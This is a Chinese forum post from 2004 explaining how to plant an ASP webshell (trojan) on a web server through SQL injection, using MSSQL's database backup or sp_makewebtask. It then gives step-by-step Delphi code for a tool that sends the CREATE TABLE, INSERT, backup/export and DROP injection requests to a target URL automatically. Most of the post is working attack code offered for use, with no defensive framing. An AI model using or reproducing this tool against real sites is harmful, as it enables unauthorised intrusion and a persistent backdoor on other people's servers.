QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3063|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理: , q1 k5 a4 a: P" m* ~+ h/ C- J' N
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
3 s! D  `8 C# I5 X  }3 l: ]分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 * q- ^; D( Z5 X5 w% t6 I! B) _# I
再来看看CZY的方法吧。
% R8 P% n& g8 p8 a& j" S& }CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 - U5 M+ j9 L5 M* j# V6 M( \
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
: X3 f" R, f! t; s. P二.利用DELPHI去实现功能的前言 4 R0 u2 \8 }, I$ _% }3 l
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 6 c! r9 d& z5 G8 E0 {

' X, q2 Y/ M2 E. o: n' Z$ t三.如何利用DELPHI得到WEBSHELL。 & s7 q+ c& X; {: K
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
8 q& V  _* a7 {; G& O: Z首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: # K2 y( Y8 o) @) }" E/ M. n4 q
7 m; `, b8 q6 _  }- |/ i9 w4 A

+ L1 L3 [& Y! }. u1 S+ g0 ~7 u
/ `* j' m) M$ {. R3 o( f, q现在来写程序了。
7 i# a3 d- ~7 f) e我们首先定义一个RECORD。 4 \4 Y# D" R5 I! l3 F* [- z+ }' N
如下:
# h2 j  o1 t4 [5 s) |+ W% DType " s" {9 O9 H+ ~
SetOption = Record
" b, _3 s) y( J% j5 ZTableName : String; //用来保存要创建的表名.
# V3 C6 a' P' k: j3 CFieldName : String; //用来保存要创建的字段名.
; V9 y$ a  \/ j0 E6 i: T# V' X# sFiledType : String; //用来保存创建的字段名类型.
8 o- `/ x( _* x: Q( I# ?End;
( p1 t/ @1 D; K, t  V3 C! uFiledType字段类型的值是以下类型的一种: / M' x! @7 O# J1 n% I" U/ B9 ~
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint 4 |. |. F; [) K
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
1 }, K5 x2 [7 [% W( \再定义一个全局变量:
2 r- z' x  z$ o9 h! gVar
' F" Y6 X$ ^+ X3 I# C0 eISStop : Boolean; //用来判断用户是否按下了停止按纽.
  @, p; h2 l$ _: C. H6 r& p# O好了。在表单创建的过程中,我们为RECORD记录输入默认值.
: z6 F6 |1 @  |; o) g# Z代码如下:
9 x6 o; U/ L* N5 V. [procedure TMainForm.FormCreate(Sender: TObject); / b  U" {+ V. Z3 p
begin 9 L* v1 d- e% s* o: D
sOption.TableName :='cyfd'
. {2 h! @; }0 q# G: P: ^) csOption.FieldName :='gmemo'
7 o: S: r; o/ I7 ]; k! L1 N! ksOption.FiledType :='text' ) _1 `2 n, o" C/ M0 j
end; ! ~; Y* b  V, a, T
现在我们添加开始执行命令的代码。 ! w" w( s) h; I
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. : O9 M: e. k; C0 H% p
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
# ?" M/ m; q& L$ N$ h( s在程序开始执行前,我们得先检查一下用户的输入 ! j0 h3 m3 Y- v$ i4 `) V  n
定义一个Checkinput函数.
  X" p  P2 b8 Y4 A如下:
5 \2 W0 X/ J- Z& b2 T9 RFunction CheckInput : Boolean; 7 z7 c4 C7 n- B$ q" t% X
Begin 0 w5 @9 z4 _1 B& F3 O# T
Result := False; 5 n. f8 G3 s3 n4 a% y8 A+ }; V; G
if Trim(urlet.Text) = '' then ' B8 G$ X: p* V2 K8 h
Begin
; L; |+ T- _: ]) [3 G6 YApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
+ h( e! I+ q. Z6 n% iExit; + V& q$ B  D4 h. K5 k
End;
) u1 M' G2 ?8 Z- ^, G$ g6 }  B/ xif Trim(ShellPathET.Text) = '' then 0 N1 G/ f+ I( w: y5 }# @3 D8 u: ~
Begin
( E; J8 h. b4 f9 xApplication.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
) d$ t, r& E6 F$ P4 Z8 ?2 NExit;
6 {& ]' W, i+ QEnd;
. j1 E0 e5 s7 p. qIF DefBDoor.Checked then & d; W4 y3 i) B" o! o0 Z
Begin / [/ w* l3 E7 n, u* B
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
4 A5 Q- Y' |1 lBegin # a% H7 y/ A- X* R+ i: e
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
) M( X% b1 T4 F3 I* N3 |' c% y/ k  ]Exit;
9 A$ E8 m5 j$ @: H* D( r6 XEnd; 3 t0 u( |) |3 m2 Z. K$ e# d
End
, O: c/ t# U+ _: b9 R% s) GElse
5 O8 Z) L  O$ Eif Not FileExists(CustomBdoorET.Text) then
9 [3 H. z3 y+ ]0 J! SBegin
+ r. J9 }* u' kApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
1 b7 V9 F, H- A/ S3 L! iExit;
' U0 q+ s7 S$ v: `6 S2 G  xEnd;
2 m+ G! _: @6 A7 xResult := True; 1 i% ?& V; v, Q0 ~# W7 L8 O
End; ' X1 X/ h; J8 S. A7 |  ]( {
在最开始加入:
" C. D$ ?- I! U: QIF Not CheckInput then Exit; //如果输入不合法就退出过程.
, s6 C2 J4 [0 p& N4 I, K' D4 A好了,如果用户输入没什么错,我们就来下面的代码。
- N3 ^. q7 g2 g; a* e) W. D首先我们把IsStop设为假。创建BdoorList。 % e8 h, k, s9 W4 n" E- R
BDoorList := TstringList.Create;
+ t/ w9 }; g  e( C  q2 x8 b再加木马内容到BDoorlist.
# ]+ D" d% \- V7 M' d7 v3 ~BDoorList.LoadFromFile(CustomBdoorET.text); 8 }9 N! U' @; |& j( b7 Q
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 7 j9 [' K. O  K! ^/ D
代码如下: 3 G% c6 R4 h1 A7 b+ C
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); 3 _% }! O# U5 @/ B; B2 s  s) G1 G
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); 0 A# h, S5 R: A% Q6 }
接下来.我们就提交建表的功能了.
4 F( j( t# y' c2 GMemo.Lines.Add('建表...');
: t4 F/ c" Q0 [Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
* v* l/ L) A$ L# A( K这样我们就创建了一个表。然后.我们向表中加记录:
# q8 L+ C/ g- w4 Z" ?$ W代码如下:
+ c. J$ Z/ D: eMemo.Lines.Add('加数据...'); 8 q$ R- _/ q) M8 [  Z( U& h4 q! C
Memo.Lines.Add('');
- K# h, a, E& `" Y( u6 BFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. % g  y; P+ e6 I0 a& _
Begin
+ T* K6 L+ k6 t* K& w- g6 BIF IsStop then //这里如果点了停止按纽程序将终止任务. - R% I) Y- l# ^1 f8 @
Begin + o* ^( b+ C* `8 m! V, L/ v
BDoorList.Free;
" g% X7 L$ t1 VExit;
. w' r  }# P- [( ~  |End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
+ a% J* \4 ]$ a: x( h& UMemo.Lines.Add('Add Line '+Inttostr(i+1)); $ F/ Q4 i" T+ Z' R. Z
End; 6 J  g* k! n; J
现在就是导出数据生成木马了. . ]  T3 T& C: U6 P& r
Memo.Lines.Add('导出数据...'); 7 D1 E0 X7 }0 J$ ~; K" F( {" P) K
Memo.Lines.Add(''); ( `; y1 S3 D& z- h/ k3 X
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 5 X, P# D- R: z- Q# i
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
; O; f/ N+ d! K5 kElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); 1 S& ~; v! l$ `
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
1 N2 R1 }( S9 B+ A$ z这样我们的任务就完成了。下面来释放变量.
- X/ s+ ^4 c( n; qBDoorList.Free;
) ?/ E1 h3 M( m0 w. `4 L再来向停止按纽中添加点击事件:
: G' L5 {" c; B, H一行代码就行了:IsStop := True; + z3 {: H( [+ z" g7 s
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
0 V- _: P1 |7 U- }/ U+ i设置表单中先引用主表单.然后在界面中添加二个EDIT控件: 4 j1 D2 X9 g$ r, n! C7 G6 ]
第一个名称为:TableNameET //保用户输入的存临时表 3 m; m7 v! M3 Q1 L. u
第二个名称为:FieldNameET //用来保存用户输入的字段名. : S4 b6 l& o( j) O3 h: L; \
再添加一个Combobox //用来保存用户所选的字段类型值.
3 O" F" K3 T0 c# r% l: f名称:FieldTypeCombox / K& z" ^1 F: l6 T2 @
OK.界面如下:
1 I; @* I3 _7 S. w# V
5 G) b7 A1 q2 S# T- F) O- {( R/ I! K代码如下:
# ]8 l# y( u0 H' k5 ~% D定义一个过程,主表单好调用这个设置。   S% w6 y- q& ?& J+ @$ j$ l, U
Procedure ShowSet;
* k( ^& O. g) H' _. QBegin , V; C: x2 p  v) ^& h
Application.CreateForm(TSetForm,SetForm);
# S" t/ C) p" }, U) wWith SetForm do
. d8 x* O4 n! W' m" [Begin 3 Z" b& s8 S. o
TableNameET.Text := sOption.TableName;
' s2 ~2 H/ {6 OFieldNameET.Text := sOption.FieldName;
; S! P! ~5 U' [5 OFieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
; |& f2 [& b3 I. z' iEnd; 8 b: P. n; t. H" C8 K* x
SetForm.ShowModal; 5 E) u. b$ [! a8 A+ o$ H$ m; ?2 H
SetForm.Free; : C8 o8 V; U! B0 K; g# u
End; / x' n4 s% h/ l7 y. c5 i- |. |" {7 Q
在主表单中设置的点击事件中添加上showset过程就行了。 $ Y/ l8 i" U- z. |; z% ?
下面就是点击确定的代码了。 3 F2 Y% J; e+ y: T" V. a/ g
IF CheckInput then $ Z1 _! |, M- v3 D: U
Begin
( A& y( f6 w' csOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
  x4 D/ \' w8 q4 ~  h* VsOption.FieldName := Trim(FieldNameET.Text); # U  X8 Z7 x" r+ |: w5 f  U
sOption.FiledType := FieldTypeCombox.Text;
) x# Z; r8 n8 \' F# RClose; # s  a. C7 z# J" p+ w6 t) ~
End; : O& B* l, N6 ]+ K' l
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
. D0 I" l6 H, _代码如下:
7 Q. K+ P6 \1 N  ^) \- O9 lFunction CheckInput : Boolean; 2 ^& F' k  n  u4 V
Begin   {$ X# W1 r, m+ _8 R
Result := False; . M, U6 b0 c3 {6 m$ I
IF Trim(TableNameET.Text)='' then " `8 D* v3 X/ h8 f: t
Begin & w* h! _# G5 D
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
( f& F/ E' g, s* P; AExit;
* B" ~' f3 Z/ XEnd;
  {. J" b4 x! v4 YIF Trim(FieldNameET.Text)='' then
! E; R& c: O, }Begin : g4 s( j/ j, W, d
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); - Z- H: e2 l( w3 V  v
Exit;
8 m& r# i4 x& ~, H0 a1 c- \. yEnd;
, i! J6 W+ t& o1 |  Q. G7 x, \Result := True; + {; J  t1 X- S# Z
End; % b5 s! m5 o5 g! H" A: C
到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 19:47 , Processed in 0.441710 second(s), 52 queries .

回顶部